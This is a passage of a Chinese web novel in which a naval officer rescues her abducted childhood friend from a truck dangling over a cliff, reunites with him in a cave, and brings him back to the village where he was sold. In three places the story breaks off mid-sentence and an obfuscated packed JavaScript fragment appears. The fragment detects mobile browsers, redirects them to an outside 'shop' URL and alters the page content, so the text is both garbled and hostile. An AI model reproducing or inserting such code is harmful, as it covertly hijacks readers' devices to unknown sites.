反正连出生证都做好了,医院那边的证明也都开了,手续齐全。 就算耀宗自己去派出所报案,也没人会相信的。 * 货车终于出了省城地界,进入了东莱镇所在的坞头市。 省城的刑侦大队都去处理一个连环凶杀案了,警力不够,便联系了坞头的警察协查。 光头绕开省城的警察,刚从小路拐回省道,又看到了一群警察。 光头慌了,连忙倒车,准备退回小路。 可惜小路太窄,后面有一辆桑塔纳堵着,光头根本退不回去。 急得光头赶紧打满方向盘,冲下旁边的农田,压着一地的水稻秧苗狂奔出去。 桑塔纳调头需要时间,很快就把人追丢了。 “货车从稻田里拐上了旁边的桑槐镇,镇上的车印子很快就没了,我不知道他去哪儿了。不过坞头的警察沿着镇上的大路追出去了,别急。”赵建华反馈了最新消息。 周子琰也不好怪他,毕竟一个车行老板又不是侦探,更不是刑警。 人家愿意丢下车行的生意追到这里够可以了。 周子琰说了声谢谢,拿起地图看了看,在前面路口一拐,往桑槐镇开去。 王腾虎这下坐不住了,提醒道:“周指导,走错了吧,西边是桑槐镇,东莱镇在东边。” 周子琰没有理他,进了桑槐镇专挑小巷子钻。 这种亡命狂徒不会走大路的,只会找小路躲猫猫。 很快,她在一个巷子的尽头,看到了慌不择路撞上路边围栏,卡在悬崖边上的货车。 货车要掉不掉的,里面的光头显然已经撞晕过去了,额头上的血迹糊在挡风玻璃上。 触目惊心的红。 周子琰赶紧给赵建华打了个电话:“赵老板,麻烦你过来帮我个忙,我在桑槐镇西南角上的悬崖边上。” 挂断电话,周子琰制止了准备下车的楚劲雄,问道:“会开车吗?” “会。”楚劲雄点头。 那就好。 周子琰不想让王腾虎分散她的注意力。 她去后备箱拿了个双肩包背上,里面的野外求生工具一应俱全。 她把钥匙扔给了楚劲雄:“去东莱镇加油站等我,我晚点来。” 楚劲雄明白她的意思,接过钥匙,赶紧开车离开现场。 周子琰赶紧联系坞头的警察过来帮忙,挂断电话把大哥大放进双肩包里,走向了货车。 车厢里一点动静也没有,如果她就这么进去救人,很难保证车子不会掉下去。 只能拿出包里的麻绳,把车子拴在附近一株巨大的槐树上。 可惜麻绳只有一根。 她在附近观察了一下,很快盯上了一丛生筋藤,这东西韧性很强,用手很难扯断,长度也足够。 掏出军用折叠匕首砍了,搓成了草绳,一头拴在树上,另一头绑在了她自己腰上。 以防万一。 准备妥当,她终于往货车走去。 光头醒了,迷迷糊糊的挣扎起来,连累货车磕头捣蒜的晃悠起来。 然而车头已经越过路面腾空在悬崖边上,周子琰救不了他。 收回视线,她判断了一下货车的重心,徒手掰开了已经开裂的车厢门,轻轻跳了上去。 吴旭东被撞晕了,幸好他当时离车门近,只被石头碰破了头皮。 周子琰靠近一点,想把他抱下去,总不能拖着他的腿让他下车吧。 脸都得刮毁容了。 可是她刚把吴旭东翻过来,车子就往下滑了一截,就算有麻绳拴着,也不见得万无一失。 只得先拽住了吴旭东的腿。 头痛之际,赵建华来了。 他把车停好:“小周,要我做什么?” “车上有绳子吗?”周子琰不敢大意,最好是再加一道保护。 赵建华说有,还没走到后备箱,货车便翘了起来。 吓得他冲上来双手死死地扒住了车厢地板,拼命用身体压着。 “怎么办,车子是不是撑不住了。”他没见过这样的阵仗,有点慌。 周子琰观察了一下天边飘来的乌云,拿出大哥大催了催警察。 还好,马上就到。 雨点落下来的时候,警察终于赶到,七手八脚的过来帮忙。 可是昨天的那场雨,让整个悬崖异常潮湿,就算暴晒了一上午,表面的土层也是松软的。 警察刚把赵建华带的绳索拴上车子,还没来得及系在大树上,货车便吱吱呀呀,一头往山崖下坠去。 轰然坠落的爆炸声里,周子琰拴车的那根麻绳断了,腰上的草绳也猛地绷紧。 周子琰吃痛不小,勒得小腹生疼。 强忍着,抱紧吴旭东的一条腿,晃晃悠悠,垂挂在了山崖下。 草绳崩裂了大半,靠近她的这头只剩细细的一丝拉扯着。 警察们及时扑上来,全都拽着草绳。 可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634918|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草绳已经到了极限,随时可能断裂。 而且她的脚后跟磕到了悬崖上,鞋都飞出去了一只,脚踝处鲜血直流,她不确定能坚持多久。 赶紧从背包侧兜拿出一个登山镐,趁着草绳晃到山崖近处的时候,一镐子凿了上去。 啪的一声,草绳断了,几个警察齐齐摔倒在地。 周子琰一手握着登山镐,一手拽着吴旭东的腿,竭力撑住。 警察没带这些专业的登山设备,实在爱莫能助。 万幸,下面三米左右有一个突出来的小平台,一米来宽。 挂不住货车,但是足够站几个成年人。 平台再往下,则是平缓的斜坡,有不少突出的小石块,可以攀爬到谷底。 换言之,最直上直下无处借力的只有刚开始这几米,只要落在平台上,基本就安全了。 海军的体能训练里包括攀岩这一项,所以她想下去倒是不难,只是她拽着吴旭东的腿,实在是没有第三只手腾挪了。 好在吴旭东被晃吐了,醒了。 迷糊中,听见一个熟悉的声音喊道:“小东,别怕,姐姐带你回去。” 谁? 睁开眼,吴旭东直面深不见底的悬崖,这才意识到自己命悬一线。 他赶紧观察了一下四周,喊道:“你松手,让我直接摔那个台子上去。” 毕竟他是倒挂着的,除去两人的身高,离那平台只有不到一米的距离。 周子琰不敢,怕他控制不好惯性直接摔下去,喊道:“别乱动,旁边的松树更稳当一点。” 她提起一口气,手臂肌肉紧绷,用力把吴旭东甩向悬崖半腰的一棵歪脖子松树。 吴旭东一把抱住树干,翻身爬了上去,总算安全了,可他离平台有点距离,暂时不好转移。 周子琰轻松不少,借着登山镐,忍着痛,一点点转移到了平台上,随后把登山镐装包里,连包一起扔给了吴旭东。 “老赵,你去东莱镇加油站找楚劲雄,下雨了,让他先找个旅馆住着,别急着走。记住,别提吴旭东的事,跟他一起的那个人会捣乱的。” 赵建华有点担心:“你呢?” “我去谷底看看,有没有路绕行上来。” 当地警察赶紧回道:“有的,往西三里地就是可以攀爬的斜坡,地势平缓。” 他们也准备从那里下来,给坠毁的货车做个现场勘察。 赵建华放心了,赶紧去传话。 周子琰抬头看去,树上的大学生正静静地打量着她,鲜血糊了他半张脸,迎着光,有种惊心动魄的美。 她招了招手:“你下来啊。” 吴旭握紧了树枝,盯着她血淋淋的右脚踝,眼中有流星划过。 她今天穿的长裤,撕半截裤管可以包扎一下。 移开视线,他拿出登山镐,往平台上转移。 落地的时候崴了脚,幸亏周子琰扶了他一把。 两人齐齐跌坐在地上。 周子琰的假发早飞了,那扎手的一脑袋板寸,让吴旭东恍惚得很。 他不知道自己何德何能,值得她以命相救,一时呆立不动。 周子琰看着自己苦寻多年的小东终于活生生的来到自己面前,一时思绪翻涌,难得的脆弱起来。 一滴热泪落下,周子琰笑着歪头:“还记得我吗?” 吴旭东茫然摇头,又点头:“昨晚见过。” 周子琰脸上一黑,头也不回,往谷底坠车处攀缘过去。 12. 重逢 吴旭东沉默地跟了上去。 很想把自己的鞋子让给她,可是他的鞋子开胶了,她穿着估计也有点大。 算了。 天在下雨,那些可以借力攀缘的岩石很快变得滑手,吴旭东喊了一声:“你的包!” 周子琰只当自己聋了,迅速拉开距离,像一只轻盈的中华斑羚,很快便到了谷底。 吴旭东没她这样的本事,只得拿出登山镐借力。 落地的时候没踩稳,幸亏反应及时,胳膊肘先着了地。 肘关节被地上的枯枝划拉出一条长长的口子,连带着衣袖也烂了。 他没有理会,快步跟上。 雨越下越大,却浇不灭货车爆炸燃烧的火焰。 两人只得找个地方躲雨。 走了一段,很快看到了一个山洞。 周子琰一猫腰钻了进去,吴旭东跟了进去,也不说话,杵在洞口盯着那滂沱的雨。 诡异的安静,在山洞里无声蔓延。 只剩洞外的暴雨在喧嚣。 闪电划过,周子琰注意到他右肘的伤口,从他肩上卸了背包,取出绷带消毒水,一把拽过他的膀子,给他包扎。 撕开衣袖,她像是被闪电击中了一般,呼吸停滞,动弹不得。 这是怎样的一只胳膊? 伤痕累累,触目惊心。 周子琰气得双手发抖,问道:“王大柱打的?王腾虎帮忙了?” “……嗯。”吴旭东有点烦躁,他不需要别人同情他,一定是楚劲雄那个碎嘴子到处乱说。 周子琰心疼坏了,赶紧给他处理。 包扎好后想给他处理额头的伤口,拽了拽他:“蹲下。” 吴旭东却不肯:“你脚流血了。” “我自己会弄,你蹲下。”周子琰不想跟他废话,辛辛苦苦找了这么多年,居然不记得她了。 太伤心了。 赶紧给他包扎好,才能狠心晾一晾他! 然而吴旭东也是个硬骨头,说什么也不肯,反倒是破罐子破摔,一脚踏出山洞:“你不让我包,那我走。” “站住!”周子琰快气死了,“脾气这么大,小心将来找不到老婆!” 吴旭东退了回来,倔强地控诉:“讲点道理,你救了我,又不让我帮你,哪来的菩萨!” 周子琰被他气笑了:“我是菩萨,那你是什么?嗯?你挺能耐啊,单枪匹马去追人贩子!你以为你是如来吗?人贩子逃不过你的五指山?你有没有想过你还有亲人还有朋友,你要是就这么死了,他们怎么办?哭死了去陪你吗?” “不会有人为我哭的。”吴旭东冷下脸来,不想继续这个话题。 可是脑海里却闪过悬崖平台上看到的那滴泪。 他很迷糊,只能死鸭子嘴硬。 那应该是下的雨,看错了。 这么凶的女人,怎么可能会落泪。 他看着洞外的雨,莫名烦躁。 身后传来周子琰的冷笑声:“很好,不会有人为你哭。算我狗拿耗子多管闲事!” “本来打拐就不关你的事。”吴旭东不理解,她跑过来图什么。 想挣个三等功方便晋升吗?可是这太危险了。 周子琰嗤笑:“是不关我的事,以后你就是求我我也不管了。” “知道就好,下次别这么傻。”为了他差点一起摔死了,不值得。 周子琰不想再废话了,蹲在地上处理脚踝的伤口。 身后传来喷涂消毒水的声音,吴旭东犹豫片刻,还是扭头回到周子琰身边:“我来。” “不需要!”周子琰不想理他。 吴旭东一把摁住她的手:“别硬撑,你走路都跛脚了。” “关你什么事?”周子琰把他的话奉还回去。 吴旭东沉默了,手上的力道却没有松。 闪电照亮黑沉沉的天空,雪白的光衬得他那糊满鲜血的面庞格外的惊悚。 好像荆棘丛里刚刚爬出来的修罗,让人心惊。 周子琰移开视线,一把搡开他,自力更生。 吴旭东不服,一把夺了过来:“别太自私!只想你做救世主,却不肯别人帮你处理伤口。乐山大佛都得让给你做!” “不感兴趣,你去做吧,为了一个人贩子把自己的小命都搭上。至于你爸妈,你哥哥姐姐,你小时候的……算了,你也不在乎。”周子琰再次把消毒水夺过来,取出包里的手电照着,径直往山洞深处走去。 吴旭东愣在了原地。 她怎么什么都知道? 一定又是楚劲雄那个碎嘴子! 真是个长舌男! 吴旭东气不过,跟过去道:“楚劲雄都跟你说了什么?” “我需要他说什么吗?”周子琰找了块干燥的石头坐下,拿起绷带,包扎。 吴旭东再次夺过来,蹲下后卷起她的裤腿,冰凉的手托住她脚踝的另一侧,给她包扎:“这条命是你救的,我不跟你吵,丧良心。” “你居然还有良心?”周子琰气得再次推开了他,“辛辛苦苦找你这么久,你呢?好意思吗你!白眼狼!” “我知道你从省城一路追过来辛苦了,我会报答你的。”吴旭东依然会错了意。 这都听不懂?周子琰气得背过身去,三两下包扎好,抱着双臂,绝交! 吴旭东完全不知道她在气什么,索性也不说话了。 两人就这么各自生气各自委屈着,谁也不肯打破沉默。 一阵急促的铃声响起。 周子琰从包里拿出大哥大。 “喂,姐,你怎么样了?追上小东了吗?” “嗯。” “你们没事吧?人贩子抓到了吗?不行我让爸妈出面帮帮你。” “不用,爸妈工作忙,别让他们折腾。” “哦,可是姐,我刚给咱爸打电话说过了,他想跟吴伯伯一起来接小东。” “我让吴伯伯后天来,以后他儿子他自己负责,没我什么事了。” “姐你怎么不高兴?谁惹你了?” “没有,被蛇咬了。” “啊!!!是毒蛇吗?” “挺毒的,农夫捡回家的那条。” 周子琛愣了一下,旋即明白自己上当了,笑道:“小东呢?你让他接电话,我跟他打个招呼。” “他谁啊,不认识。” “他不认得你了是吧?我早就说过,那会儿他太小了,肯定记不得你。我不也记不得他吗?” “阿琛,结束这个话题。” “好好好,不说了。我考完试就去收拾他的行李,等爸妈到了一起去找你们。” “不用!” 周子琰话还没说完,周子琛的大哥大没电了。 只剩下嘟嘟嘟的声音。 周子琰无语了,给她爸爸去了个电话:“爸,你们后天再来,我还有几个棘手的事情没处理好。” “我和你妈都不放心,我们过去帮你。”周中擎疼爱孩子是出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“滚!假你大爷!姑奶奶平时就这样!”周子琰恼了,她才不喜欢戴假发,不过是出门在外,不想太过引人注目。 她很不高兴,推开了吴旭东,恨恨的骂道:“你摸摸你的良心,以前哭着让我带你找爸爸妈妈的时候,有没有挑三拣四,嫌弃我没有戴假发!” 吴旭东跌坐在地上,就这么仰起脸庞,呆呆地凝望。 一只萤火虫从山洞顶部的豁口飞了进来。 薄如蝉翼的翅膀,好似掀起了时光的涟漪。 一圈一圈推搡着荡开,在他心头掀起滔天的浪。 恍惚间回到了那个萤火漫天的夏日夜晚。 他迷路了,找不到爸爸妈妈,哭得眼泪哗哗。 一个温柔的小姐姐带着他去瓜田里拍西瓜,讲故事。 她喊他爱哭鬼。 她背他回家。 她带他找到了爸爸和妈妈。 就像现在,还是她,穿过十几年的时光长河,不顾一切的来到了他的身边。 他笑了,眼泪却不许他逞强。 原来这世上真的有念念不忘。 原来这世上真的有久别重逢。 找不到家的流浪儿挺直了身体,凑到好心的领路人面前,握住她的双手,泪如雨下—— “是你吗,姐姐?” 13. 我的 周子琰没有说话。 太多的情绪,太多的心痛,全都化作干涩的棉团,堵在嗓子里,发不出声音。 伸出手,她轻轻地抚摸着这个曾经的邻家小弟。 他长大了,也长开了。 他的眼中早就不见了当初的天真和烂漫,只剩下拒人于千里之外的敌对和冷漠。 命运以苦涩痛吻,他自然要回以辛辣。 他不是逆来顺受的傻子,也不是任由命运宰割的羔羊。 他的坚硬和冰冷,是他自我保护的外壳,轻易怎肯脱下。 可是现在,他蹲在她面前,情绪尽泄,不畏嘲笑。 那是怎样的一种脆弱和无助,又是怎样的一种欣喜和后怕。 她也怕,生怕这一切只是一场梦。 她苦苦寻来的,其实不是小东,而是一个自欺欺人的泡影。 等到山雨骤停,泡影便会自行破灭,重归荒凉。 为此,她需要再三确认,这不是她在舰艇上午休时的美梦,也不是她在家中小憩时的幻想。 她用力描摹着他的轮廓,熟悉,却又陌生。 冰凉,却又滚烫。 说过的狠话就是笑话,她怎么可能跟小东绝交? 他可是她辛辛苦苦找回来的! 是她最最牵挂,最最在意的小东! 哪怕他身上有呛人的烟味,哪怕这是她最讨厌的味道,她也不会跟他绝交! 他一定是太苦闷了,抽点烟排解排解,没什么好苛责的。 她难得温柔,捏着手帕给他擦去泪水,声音轻柔,是那来自遥远时空彼端的叹息,在当下与心痛共振:“这么大了,怎么还是这么爱哭。” “真的是你,居然真的是你……”吴旭东扬起头来,想要看看清楚。 到底是哪里不一样了,他怎么没能第一时间认出来呢? 她说得没错,他是白眼狼,只想着小时候如何如何,却没有意识到,人是会长大的,会变的。 他自己何尝不是变得面目全非,又何必要求那个姐姐温柔依旧? 他忽然有些难过。 他错过了这个过程,不知是什么让一个温柔的邻家姐姐变成了一个强悍的大姐头。 他就这么埋在她的膝盖上,尽情脆弱。 咸涩的泪水足以冲垮刺猬的坚硬,他那从不屈服的内心,莫名的臣服在了这个女人的面前。 “都怪你,从小就喊人爱哭鬼,三岁看老你不知道吗?”吴旭东倒打一耙,嘴硬到底。 周子琰不否认:“是,三岁看老,没想到你还记得。” “嗯,一点点。”可是即便只有这一点点,也足够经久回味。 像是吹糖人吹出来的糖丝儿,细细的一丝一线,却晶莹透亮,香甜如蜜。 像是汪着一池醉人的梦。 支撑他独自穿过那幽暗的岁月,走到了现在,回到她的面前。 真好,这辈子能有这么一个珍视自己的人,他很幸运。 他埋在周子琰的膝盖上,迟迟不肯抬头。 她的体温隔着单薄的布料子传来,有种乾坤既定的暖。 踏实,可靠,让他前所未有的安心。 过了很久很久,他才问道:“谁在吃安定?我妈?” “嗯。扒火车找你,没站稳摔下来了,伤到了脑子……”周子琰说不下去了,换了个话题,“你爸爸身体挺健康的,我爸每年都会亲自监督他去体检,一次不落,你放心。” “替我谢谢他。”吴旭东记不清了,周子琰的爸爸是什么样? 太模糊,真抱歉。 毕竟他连自己的爸妈也遗忘得差不多了。 纵使相逢应不识。 周子琰默默叹息:“不用,他们是战友,客气什么。再说,你爸爸还做过我妈妈的同事呢,还有,你小姨改嫁给了我大舅,这些你肯定都不记得了。没关系,等会回去的路上我慢慢跟你讲。” “好。”吴旭东其实不是太好奇那些,那都不重要。 重要的是,她找到了他。 从此这世上,她就是他最重要的人。 没有之一。 可笑他昨天还对她那个样子。 真傻。 她哪里会是那种人。 他很惭愧:“对不起,昨天……” “不说那个。”周子琰搓了搓他冰凉的手,“我让你爸爸后天再来,我先把王家沟这边处理好。别怕,他们要顾虑王腾虎的利益,不敢乱来,而且纪律检查小组已经出发了,你会亲眼看到他们哭着跪在你面前,求你原谅。” “绝不原谅!”吴旭东握紧了双手。 有买才有卖! 王家才是罪魁祸首! “对,绝不原谅!”周子琰当然向着他。 吴旭东终于笑了。 她真好,真厉害,连后援都请好了。 不愧是当兵的,有勇有谋,而不是蛮干。 也不会胡搅蛮缠让他顾念什么养育之恩。 屁的养育之恩,他自己有爸也有妈! 他仰着脸,曾经的桀骜不驯悉数敛起,只剩信任与感动。 这一瞬的柔软,让周子琰恍惚看到了当初那个乖巧可爱的邻家小弟,忍不住搓了搓他的头发:“这么硬,像个刺猬。” 吴旭东也搓了搓周子琰的板寸,“你才是刺猬,扎手。” “好哇你,鹦鹉成精了?”周子琰拍开他的手,“不许摸!” “不讲道理,你先摸我的!”吴旭东服了,只许州官放火! 周子琰冷哼一声:“你懂什么,我只是确认一下你有没有别的伤口。万一摔傻了,讹我一辈子怎么办?” “……”不傻就不能讹吗?吴旭东移开视线,捏了捏自己发烫的耳根子,“我没那么无耻。” “别用这些字眼形容自己,你很好,特别好!最好!无与伦比的好!”周子琰夸人很直白。 但是管用。 某人害臊了,嘀咕道:“哪有你说的那么好……” “我说有就有!”周子琰掰着他的肩膀,让他转过来,“别动,让我看看,到底有没有摔傻。” “从小就傻,你不知道?”不傻就不会屁颠屁颠接过那婶子给的肥肉,不傻就不会毫无防备的去做饭。 不傻,就不会被拐。 午夜梦回,无数次悔不当初。 如果他没有接那块肉,如果他偷个懒,直接给妈妈泡点窝窝头,而不是逞能给妈妈改善伙食…… 一切都不会发生。 他到现在都不知道那个婶子到底是不是人贩子的帮凶。 他吃不准,时间太久,他又太小,没有证据。 而现在,线索断了。 他有些失望地跌坐在了地上:“光头死了。” “这事你不用再管了,从现在开始,一切交给我。”经此一遭,周子琰哪敢再让他去查人贩子。 一没有专业技能,二没有搭档帮衬,只凭一腔孤勇,死了都不知道怎么回事。 吴旭东不想跟她争,怕她生气。 这可是他心心念念的漂亮姐姐。 他愿意妥协。 肆意的眼神勾勒出女人近乎完美的面部轮廓,他忽然问道:“你……结婚了吗?” “结婚?你不是说我脾气不好吗?谁受得了我?”周子琰失笑,“怎么,你想给我介绍一个?” 吴旭东没有回答,移开视线,低头看她受伤的脚:“你救了我,我总得做点什么。要是你结婚有孩子了,我可以给孩子买点礼物。” “神经,谁要你买礼物,你活着跟我回去,就是最好的礼物。”周子琰搓了搓他的头发,“等会雨停了赶紧上去,时间久了我怕楚劲雄哄不住王腾虎。” “好。我在路上听到一个马戏团路过,说要去东莱镇演出,不知道能不能请到王家沟去。”到时候村里人都去看表演,王大柱之流会少很多帮手。 这样他们就算想做点什么,阻力也会小不少。 没想到周子琰翻了个白眼:“你傻吗?他们去的就是王家沟。” “王家沟?”吴旭东很意外,“你请的?你就是那个富婆?” “嗯。用你的名义请的,庆祝王腾虎荣归故里。”周子琰没有隐瞒,她这么做,为的也是分散王家沟众人的注意力。 两人想一块儿去了。 吴旭东陷入了长久的沉默。 这事别人做来很伤他的自尊,可是周子琰来做,他不会这么想。 谁都有可能轻贱他羞辱他,唯独周子琰绝对不会。 一直以来,他的人生都是残缺不全的,胸口有个巨大的破洞,冷风习习,怎么也填不上那叫人不安的窟窿。 可是现在,窟窿被她堵上了,胸口鼓鼓囊囊,全是被重视被珍惜的暖意。 不禁埋首在周子琰膝盖上,像只温顺的羊羔。 过了很久才开口:“姐姐,都听你的。” “别叫姐姐了,你都这么高了,叫我名字吧。”周子琰抚摸着他的发尾,刚刚淋过雨,却依旧扎手。 就像他的骨子里始终是个硬茬。 这么一个硬茬,却愿意匍匐在她膝上,柔声细语地说,听她的。 她所做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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确认他没有因为采草藤弄出新的伤口,这才松了口气:“怪了,平时我很醒睡的,怎么你量我脚我都没醒。” “谁知道你。”吴旭东耳根子红了,她的手心热乎乎的,有种惊心动魄的暖,他移开视线,“警察已经勘察完了,先走了。咱俩收拾一下也上去吧。” 这会儿下午三点,不算太晚。 还来得及在天黑前爬上山找到楚劲雄他们。 走出山洞,才发现头顶架着一道炫目的彩虹。 光芒万丈,梦幻迷离。 真是个好兆头。 很快一切都会过去,很快,小东就会回到属于他的世界。 周子琰握紧了他的肩膀,一切尽在不言中。 吴旭东笑了。 这辈子都没有今天笑得开心。 “小东,你笑起来真好看。”周子琰从不吝啬赞美。 吴旭东却有些吃不消,手背抵着嘴唇,别过头去深深吸了一口气,轻声道:“你也好看。” “哈哈,我还是头一次听人夸我板寸好看。”周子琰把剩下那只鞋绑在了背包背带上:“等等,我找下我的鞋,爬山的时候更稳当一点。” “烧没了,只剩半截。”吴旭东自然找过了,他看她睡得香,没吵醒她。 周子琰放弃了:“那走,收拾王腾虎他们去。” 撅断两根树枝当登山杖,两人从西边三里地的斜坡上去,没费什么劲。 爬到山顶,才发现赵建华正在那里等着呢,还拿着大哥大,一直焦急地拨打着。 毕竟他不清楚他们到底在山里的哪个地方,不敢轻易下去,万一失散了,他没有把握自己上来。 周子琰拿出背包里的大哥大,换上另外一块电池,一张手写的歌词飘落下来:“没电了,不好意思啊老赵。” “没事,你们安全就好,走吧,我送你们过去。”赵建华好人做到底,调转车头,当他们的司机。 吴旭东伸手接住飘下的歌词,默默地跟上。 乡村路带我回家。 不,是邻家姐姐带我回家。 两人坐在后面,周子琰看到那张歌词,一把夺了过来:“我的!” “嗯,你的。”吴旭东默默地重复着。 何止是歌词,连命都是你的。 全部,都是你的。 14. 惊吓 王腾虎已经等烦了。 他完全不知道周子琰干什么去了。 不过,从路口设卡拦截的警察,以及悬崖边上晃悠的货车来推断,大概率是帮警察去了。 真自私啊这个女人,连这种功劳也要独吞,就不能让他沾点光? 气死了。 他想出去看看,可是楚劲雄不让,天又下雨,他行动不便,只好烦躁的等消息。 然而周子琰他们赶过来的时候,他却依旧笑脸相迎,没有甩脸子。 他不敢。 按理说,他都转业了,没道理怕她。 可是周子琰的老子可怕得很! 那可是上过朝鲜战场的老兵,喋血真英雄,尸山血海里拼杀,战功赫赫,和平时期还端掉了好几个间谍组织。 就算他如今从商了,影响力却是经久不衰的。 还有周子琰那个妈,谁提了不是又敬又怕的。 算了,惹不起,装装孙子吧。 从旅馆出来上车的时候,他才注意到了往宝马副驾驶走去的吴旭东。 不禁愣住了。 他有些意外:“周指导,我家耀宗怎么跟你一起回来了?” “他坐的大巴抛锚了,正好遇上。”周子琰撒谎的技术也是一流。 她打开车门,让楚劲雄扶他进去。 王腾虎松了口气,原来是这样。 他笑着打量吴旭东:“学校聚会结束了?” 吴旭东点点头。 这个谎很好圆,周子琰在路上已经跟他提过了,但他不想跟王腾虎说话。 他甚至没有帮忙扶一下这个所谓的堂哥。 赵建华已经完成了他的使命,准备回去了,临走时问道:“还需要我做什么吗小周?” 周子琰带他去旁边,小声道:“我爸妈这两天会来,赵大哥愿意的话,可以帮我接一下他们。” 赵建华求之不得,能跟这样的人家搭上关系,真是祖上冒青烟了。 便笑着说道:“好,到时候通知我就行,要是我太忙没空,就让我弟弟去,你放心,他也是大学生,文学院的,很斯文,不会乱来的。” “哪个学校的?”周子琰有些意外,该不会跟子琛是一个学校的吧? 赵建华笑着说道:“还能是哪个学校,咱这最好的那个呗。” “呦,那还真是缘分,我小弟也在文学院,下学期大四。”周子琰也很惊讶,太巧了。 赵建华真是高兴坏了,问了名字,宿舍号,电话号码,全都记在了香烟壳上。 看到香烟壳,周子琰想起了什么,转身往加油站旁边的小卖部走去。 赵建华上车后,发现软中华还没有送出去。 本来是打算把这烟给吴旭东的,不如坑王腾虎一把。 他笑着把烟从窗口塞到王腾虎怀里:“王老哥,你这弟弟培养得不错,昨天晚上帮我修车,技术很好,我大哥大忘他那儿了他都能拾金不昧。三万多块钱呢,不便宜啊,一般人真没有这么高的素质,还是你这个做哥哥的教导有方啊。为了表示感谢,我买了条烟,这点心意不成敬意,请你千万收下。” 王腾虎居然没有推辞,只是问了问:“耀宗,有这回事吗?” 吴旭东从嗓子里挤出一声嗯。 王腾虎笑着收下:“那我就不客气了,正好家里给我办了接风宴,来点软中华有面子。” 赵建华乐了,这人早晚要栽个大跟头,到时候看情况,告他一个索要贿赂。 一条软中华不少钱呢。 再说,这种事情,金额是次要的,收不收才是关键的。 * 周子琰买了一条黄鹤楼,又拿了两把伞。 结账时人多,便趁着排队的时候给史青霞的杂志社去了电话,取消内封,违约金扣百分之二十。 史青霞正在憋特稿,得知这事兴奋不已,那好啊,说明周子琰跟吴旭东相认了呗。 那她的特稿就好写多了,顺便把周子琰解救儿时伙伴的情节也加进去,指定能爆。 周子琰哪里知道这位史大编辑已经摩拳擦掌给她歌功颂德了。 只想着爸妈挣钱不容易,这钱省下来可以做点别的。 她回到车里时,王腾虎已经让“徐大东”把软中华藏他行李箱里面了,不敢让她知道。 她把购物袋放在了后座,系上安全带。 吴旭东烟瘾犯了,一摸裤兜,空的。 多半是倒挂悬崖的时候掉出去了。 他只能问楚劲雄:“有烟吗?” 楚劲雄没带,他没有吴旭东瘾大,只得看向王腾虎。 王腾虎兜里有一包硬壳玉溪,不过他还没掏出来,周子琰便转身说道:“小徐,你旁边袋子里有条黄鹤楼,帮我递一包过来。” 楚劲雄惊呆了,一条什么? 一条黄鹤楼!!! 比软中华还贵的好不好? 土豪姐姐真大方! 好羡慕吴旭东啊,居然跟这样的姐姐是儿时玩伴,羡慕死了,呜呜呜。 赶紧打开,递了一包过去。 厚着脸皮问道:“周指导,我可以抽一根吗?太贵了,买不起。” “自己拿,别客气。”周子琰怕吴旭东不好意思,直接拆开烟壳,拿了一根塞他嘴里,又拽过他的手,让他握着烟盒,自己则在手套箱里翻了个打火机出来,直接给他点上。 楚劲雄都看傻了! 卧槽!这叫溺爱!溺爱!!! 吴旭东这么大人了,她还把他当三岁小弟吗? 哎,羡慕啊羡慕。 可她这么做,吴旭东反倒是不想抽了。 生怕呛着她。 奈何周子琰就这么看着他,那眼神里没有责备,只有关心和鼓励。 他实在受不了,干脆跑下车,叫上“徐大东”,到外面抽。 走远后,楚劲雄小声道:“兄弟,你今天不对劲啊,你居然让人碰你了?” 他都看到了,刚刚这个女人可是直接上手的啊! 楚劲雄内心咆哮! 这可是吴旭东啊!怕热,怕脏,又怕别人碰他的吴旭东! 可是他居然! 居然! 楚劲雄简直惊呆了。 这就是儿时好友的力量吗? 谁比得过啊! 吴旭东懒得理他,背过身去,慢慢地抽。 长这么大,头一回抽这么好的烟,他能记一辈子。 回到车上的时候,却连一声谢谢也说不出来。 香烟的苦涩被她裹上了蜜糖,回味尤甘,经久不绝。 这真的只是儿时的情谊吗? 他忽然有些贪心,奢望更多,更多。 下意识握紧了裤兜里的那包黄鹤楼。 黄鹤楼,黄鹤楼。 她就是他的黄鹤楼,能擎天,能立地。 江水东流,予他温柔。 故人同归,真情永候。 * 周子琰在东莱镇商业街停下。 找了家新开的男装店,买了几套男装。 小镇上没有太好的,起码比吴旭东身上的强些。 她把衣服交给他:“换上吧。” 这要是搁以前,吴旭东指定把衣服扔了,还要嘴硬一句“老子有的是钱”。 可是现在,他什么也没问,直接进了试衣间,换好确实体面不少。 周子琰又给两人分别买了两双鞋,把换下来的草鞋用新鞋的鞋盒子装起来。 不舍丢弃,珍而重之。 最后又给了他一沓现金,让他给楚劲雄挑两身,她挑不合适。 毕竟要在王家沟耽误几天,这么热的天,不换衣服不得臭了。 最后大包小包,塞满了后备箱。 车子进入王家沟的时候,已经是下午五点多了。 这会儿地里全是拔稗草的农民,看到一辆油光锃亮的黑色宝马缓缓驶来,全都站直了身体,默默惊叹。 有那眼尖的,看到了里面的“王耀宗”和王腾虎,激动得立马挥手打起了招呼。 车子在王家门口停下,王腾虎笑着跟王大柱打招呼:“叔啊,我回来了!你看我把谁给你带回来了!” 王大柱好吃懒做,活儿都是他老婆和几个孩子干的,还有一个泥腿子上门女婿,只摆了酒没有领证。 